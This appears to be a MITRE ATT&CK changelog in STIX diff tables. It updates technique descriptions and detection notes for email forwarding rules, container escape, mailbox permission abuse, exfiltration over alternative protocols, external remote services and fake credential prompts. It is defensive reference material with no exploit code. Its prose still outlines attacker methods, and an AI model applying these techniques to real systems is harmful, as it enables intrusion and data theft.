| x_mitre_detection | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/'} | |
| external_references | {'source_name': 'Mac Forwarding Rules', 'description': 'Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.', 'url': 'https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac'} | |
| x_mitre_contributors | Microsoft Security | |
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may break out of a container to gain access to t | t | 1 | Adversaries may break out of a container to gain access to t |
| > | he underlying host. This can allow an adversary access to ot | > | he underlying host. This can allow an adversary access to ot | ||
| > | her containerized resources from the host level or to the ho | > | her containerized resources from the host level or to the ho | ||
| > | st itself. In principle, containerized resources should prov | > | st itself. In principle, containerized resources should prov | ||
| > | ide a clear separation of application functionality and be i | > | ide a clear separation of application functionality and be i | ||
| > | solated from the host environment.(Citation: Docker Overview | > | solated from the host environment.(Citation: Docker Overview | ||
| > | ) There are multiple ways an adversary may escape to a host | > | ) There are multiple ways an adversary may escape to a host | ||
| > | environment. Examples include creating a container configur | > | environment. Examples include creating a container configur | ||
| > | ed to mount the host’s filesystem using the bind parameter, | > | ed to mount the host’s filesystem using the bind parameter, | ||
| > | which allows the adversary to drop payloads and execute cont | > | which allows the adversary to drop payloads and execute cont | ||
| > | rol utilities such as cron on the host, and utilizing a priv | > | rol utilities such as cron on the host, or utilizing a privi | ||
| > | ileged container to run commands on the underlying host.(Cit | > | leged container to run commands on the underlying host.(Cita | ||
| > | ation: Docker Bind Mounts)(Citation: Trend Micro Privileged | > | tion: Docker Bind Mounts)(Citation: Trend Micro Privileged C | ||
| > | Container)(Citation: Intezer Doki July 20) Gaining access to | > | ontainer)(Citation: Intezer Doki July 20) Adversaries may al | ||
| > | the host may provide the adversary with the opportunity to | > | so escape via [Exploitation for Privilege Escalation](https: | ||
| > | achieve follow-on objectives, such as establishing persisten | > | //attack.mitre.org/techniques/T1068), such as exploiting vul | ||
| > | ce, moving laterally within the environment, or setting up a | > | nerabilities in global symbolic links in order to access the | ||
| > | command and control channel on the host. | > | root directory of a host machine.(Citation: Windows Server | ||
| > | Containers Are Open) Gaining access to the host may provide | ||||
| > | the adversary with the opportunity to achieve follow-on obj | ||||
| > | ectives, such as establishing persistence, moving laterally | ||||
| > | within the environment, or setting up a command and control | ||||
| > | channel on the host. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-22 16:14:59.756000+00:00 | 2021-10-15 14:59:35.913000+00:00 |
| description | Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host. | Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Windows Server Containers Are Open', 'description': "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.", 'url': 'https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/'} | |
| x_mitre_contributors | Yuval Avrahami, Palo Alto Networks | |
| x_mitre_contributors | Daniel Prizmant, Palo Alto Networks |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Persona: Social Media', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:10:35.877000+00:00 | 2021-10-16 17:35:59.386000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may grant additional permission levels, such as | t | 1 | Adversaries may grant additional permission levels, such as |
| > | ReadPermission or FullAccess, to maintain persistent access | > | ReadPermission or FullAccess, to maintain persistent access | ||
| > | to an adversary-controlled email account. The <code>Add-Mail | > | to an adversary-controlled email account. The <code>Add-Mail | ||
| > | boxPermission</code> [PowerShell](https://attack.mitre.org/t | > | boxPermission</code> [PowerShell](https://attack.mitre.org/t | ||
| > | echniques/T1059/001) cmdlet, available in on-premises Exchan | > | echniques/T1059/001) cmdlet, available in on-premises Exchan | ||
| > | ge and in the cloud-based service Office 365, adds permissio | > | ge and in the cloud-based service Office 365, adds permissio | ||
| > | ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission | > | ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission | ||
| > | )(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding | > | )(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding | ||
| > | in Plain Sight 2018) This may be used in persistent threat | > | in Plain Sight 2018) Adversaries may also assign mailbox f | ||
| > | incidents as well as BEC (Business Email Compromise) incide | > | older permissions through individual folder permissions or r | ||
| > | nts where an adversary can assign more access rights to the | > | oles. Adversaries may assign the Default or Anonymous user p | ||
| > | accounts they wish to compromise. This may further enable us | > | ermissions or roles to the Top of Information Store (root), | ||
| > | e of additional techniques for gaining access to systems. Fo | > | Inbox, or other mailbox folders. By assigning one or both us | ||
| > | r example, compromised business accounts are often used to s | > | er permissions to a folder, the adversary can utilize any ot | ||
| > | end messages to other accounts in the network of the target | > | her account in the tenant to maintain persistence to the tar | ||
| > | business while creating inbox rules (ex: [Internal Spearphis | > | get user’s mail folders.(Citation: Remediation and Hardening | ||
| > | hing](https://attack.mitre.org/techniques/T1534)), so the me | > | Strategies for Microsoft 365 to Defend Against UNC2452) Th | ||
| > | ssages evade spam/phishing detection mechanisms.(Citation: B | > | is may be used in persistent threat incidents as well as BEC | ||
| > | ienstock, D. - Defending O365 - 2019) | > | (Business Email Compromise) incidents where an adversary ca | ||
| > | n assign more access rights to the accounts they wish to com | ||||
| > | promise. This may further enable use of additional technique | ||||
| > | s for gaining access to systems. For example, compromised bu | ||||
| > | siness accounts are often used to send messages to other acc | ||||
| > | ounts in the network of the target business while creating i | ||||
| > | nbox rules (ex: [Internal Spearphishing](https://attack.mitr | ||||
| > | e.org/techniques/T1534)), so the messages evade spam/phishin | ||||
| > | g detection mechanisms.(Citation: Bienstock, D. - Defending | ||||
| > | O365 - 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-04 19:18:36.254000+00:00 | 2021-10-18 18:57:04.148000+00:00 |
| description | Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) | Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) |
| external_references[4]['source_name'] | Bienstock, D. - Defending O365 - 2019 | Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452 |
| external_references[4]['description'] | Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019. | Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021. |
| external_references[4]['url'] | https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 | https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html |
| x_mitre_detection | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Bienstock, D. - Defending O365 - 2019', 'description': 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.', 'url': 'https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365'} | |
| x_mitre_contributors | Microsoft Detection and Response Team (DART) | |
| x_mitre_contributors | Mike Burns, Mandiant | |
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal data by exfiltrating it over a differe | t | 1 | Adversaries may steal data by exfiltrating it over a differe |
| > | nt protocol than that of the existing command and control ch | > | nt protocol than that of the existing command and control ch | ||
| > | annel. The data may also be sent to an alternate network loc | > | annel. The data may also be sent to an alternate network loc | ||
| > | ation from the main command and control server. Alternate | > | ation from the main command and control server. Alternate | ||
| > | protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other | > | protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other | ||
| > | network protocol not being used as the main command and con | > | network protocol not being used as the main command and con | ||
| > | trol channel. Different protocol channels could also include | > | trol channel. Different protocol channels could also include | ||
| > | Web services such as cloud storage. Adversaries may also op | > | Web services such as cloud storage. Adversaries may also op | ||
| > | t to encrypt and/or obfuscate these alternate channels. [E | > | t to encrypt and/or obfuscate these alternate channels. [E | ||
| > | xfiltration Over Alternative Protocol](https://attack.mitre. | > | xfiltration Over Alternative Protocol](https://attack.mitre. | ||
| > | org/techniques/T1048) can be done using various common opera | > | org/techniques/T1048) can be done using various common opera | ||
| > | ting system utilities such as [Net](https://attack.mitre.org | > | ting system utilities such as [Net](https://attack.mitre.org | ||
| > | /software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct | > | /software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct | ||
| > | 2016) | > | 2016) On macOS and Linux <code>curl</code> may be used to in | ||
| > | voke protocols such as HTTP/S or FTP/S to exfiltrate data fr | ||||
| > | om a system.(Citation: 20 macOS Common Tools and Techniques) | ||||
| > | |||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:50:31.548000+00:00 | 2021-10-15 22:49:28.766000+00:00 |
| description | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) |
| external_references[2]['source_name'] | University of Birmingham C2 | 20 macOS Common Tools and Techniques |
| external_references[2]['description'] | Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[2]['url'] | https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'} | |
| x_mitre_contributors | William Cain |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:45:51.014000+00:00 | 2021-10-15 22:44:11.953000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-12 15:59:47.470000+00:00 | 2021-10-15 22:45:50.620000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:31:48.713000+00:00 | 2021-10-15 22:48:29.702000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:50:31.361000+00:00 | 2021-10-15 22:49:28.421000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 01:02:24.276000+00:00 | 2021-10-15 22:50:29.607000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:31:02.204000+00:00 | 2021-10-15 22:48:29.490000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:06:02.690000+00:00 | 2021-10-15 19:01:34.932000+00:00 |
| x_mitre_remote_support | True | False |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external-facing remote services to | t | 1 | Adversaries may leverage external-facing remote services to |
| > | initially access and/or persist within a network. Remote ser | > | initially access and/or persist within a network. Remote ser | ||
| > | vices such as VPNs, Citrix, and other access mechanisms allo | > | vices such as VPNs, Citrix, and other access mechanisms allo | ||
| > | w users to connect to internal enterprise network resources | > | w users to connect to internal enterprise network resources | ||
| > | from external locations. There are often remote service gate | > | from external locations. There are often remote service gate | ||
| > | ways that manage connections and credential authentication f | > | ways that manage connections and credential authentication f | ||
| > | or these services. Services such as [Windows Remote Manageme | > | or these services. Services such as [Windows Remote Manageme | ||
| > | nt](https://attack.mitre.org/techniques/T1021/006) can also | > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | ||
| > | be used externally. Access to [Valid Accounts](https://atta | > | (https://attack.mitre.org/techniques/T1021/005) can also be | ||
| > | ck.mitre.org/techniques/T1078) to use the service is often a | > | used externally.(Citation: MacOS VNC software for Remote Des | ||
| > | requirement, which could be obtained through credential pha | > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | ||
| > | rming or by obtaining the credentials from users after compr | > | echniques/T1078) to use the service is often a requirement, | ||
| > | omising the enterprise network.(Citation: Volexity Virtual P | > | which could be obtained through credential pharming or by ob | ||
| > | rivate Keylogging) Access to remote services may be used as | > | taining the credentials from users after compromising the en | ||
| > | a redundant or persistent access mechanism during an operati | > | terprise network.(Citation: Volexity Virtual Private Keylogg | ||
| > | on. Access may also be gained through an exposed service th | > | ing) Access to remote services may be used as a redundant or | ||
| > | at doesn’t require authentication. In containerized environm | > | persistent access mechanism during an operation. Access ma | ||
| > | ents, this may include an exposed Docker API, Kubernetes API | > | y also be gained through an exposed service that doesn’t req | ||
| > | server, kubelet, or web application such as the Kubernetes | > | uire authentication. In containerized environments, this may | ||
| > | dashboard.(Citation: Trend Micro Exposed Docker Server)(Cita | > | include an exposed Docker API, Kubernetes API server, kubel | ||
| > | tion: Unit 42 Hildegard Malware) | > | et, or web application such as the Kubernetes dashboard.(Cit | ||
| > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | ||||
| > | Hildegard Malware) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-22 20:22:02.443000+00:00 | 2021-08-19 16:57:27.209000+00:00 |
| description | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally. Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) |
| external_references[2]['source_name'] | Volexity Virtual Private Keylogging | MacOS VNC software for Remote Desktop |
| external_references[2]['description'] | Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017. | Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. |
| external_references[2]['url'] | https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ | https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac |
| external_references[3]['source_name'] | Trend Micro Exposed Docker Server | Volexity Virtual Private Keylogging |
| external_references[3]['description'] | Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021. | Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017. |
| external_references[3]['url'] | https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html | https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ |
| external_references[4]['source_name'] | Unit 42 Hildegard Malware | Trend Micro Exposed Docker Server |
| external_references[4]['description'] | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. | Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021. |
| external_references[4]['url'] | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ | https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'} | |
| x_mitre_platforms | macOS |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 14:29:27.631000+00:00 | 2021-10-12 14:26:52.179000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | IaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may mimic common operating system GUI components | t | 1 | Adversaries may mimic common operating system GUI components |
| > | to prompt users for credentials with a seemingly legitimate | > | to prompt users for credentials with a seemingly legitimate | ||
| > | prompt. When programs are executed that need additional pri | > | prompt. When programs are executed that need additional pri | ||
| > | vileges than are present in the current user context, it is | > | vileges than are present in the current user context, it is | ||
| > | common for the operating system to prompt the user for prope | > | common for the operating system to prompt the user for prope | ||
| > | r credentials to authorize the elevated privileges for the t | > | r credentials to authorize the elevated privileges for the t | ||
| > | ask (ex: [Bypass User Account Control](https://attack.mitre. | > | ask (ex: [Bypass User Account Control](https://attack.mitre. | ||
| > | org/techniques/T1548/002)). Adversaries may mimic this func | > | org/techniques/T1548/002)). Adversaries may mimic this func | ||
| > | tionality to prompt users for credentials with a seemingly l | > | tionality to prompt users for credentials with a seemingly l | ||
| > | egitimate prompt for a number of reasons that mimic normal u | > | egitimate prompt for a number of reasons that mimic normal u | ||
| > | sage, such as a fake installer requiring additional access o | > | sage, such as a fake installer requiring additional access o | ||
| > | r a fake malware removal suite.(Citation: OSX Malware Exploi | > | r a fake malware removal suite.(Citation: OSX Malware Exploi | ||
| > | ts MacKeeper) This type of prompt can be used to collect cre | > | ts MacKeeper) This type of prompt can be used to collect cre | ||
| > | dentials via various languages such as AppleScript(Citation: | > | dentials via various languages such as [AppleScript](https:/ | ||
| > | LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malw | > | /attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm | ||
| > | are) and PowerShell(Citation: LogRhythm Do You Trust Oct 201 | > | Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citati | ||
| > | 4)(Citation: Enigma Phishing for Credentials Jan 2015). | > | on: Spoofing credential dialogs) and [PowerShell](https://at | ||
| > | tack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do | ||||
| > | You Trust Oct 2014)(Citation: Enigma Phishing for Credentia | ||||
| > | ls Jan 2015)(Citation: Spoofing credential dialogs) On Linux | ||||
| > | systems attackers may launch dialog boxes prompting users f | ||||
| > | or credentials from malicious shell scripts or the command l | ||||
| > | ine (i.e. [Unix Shell](https://attack.mitre.org/techniques/T | ||||
| > | 1059/004)).(Citation: Spoofing credential dialogs) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:56:14.853000+00:00 | 2021-08-24 18:21:07.926000+00:00 |
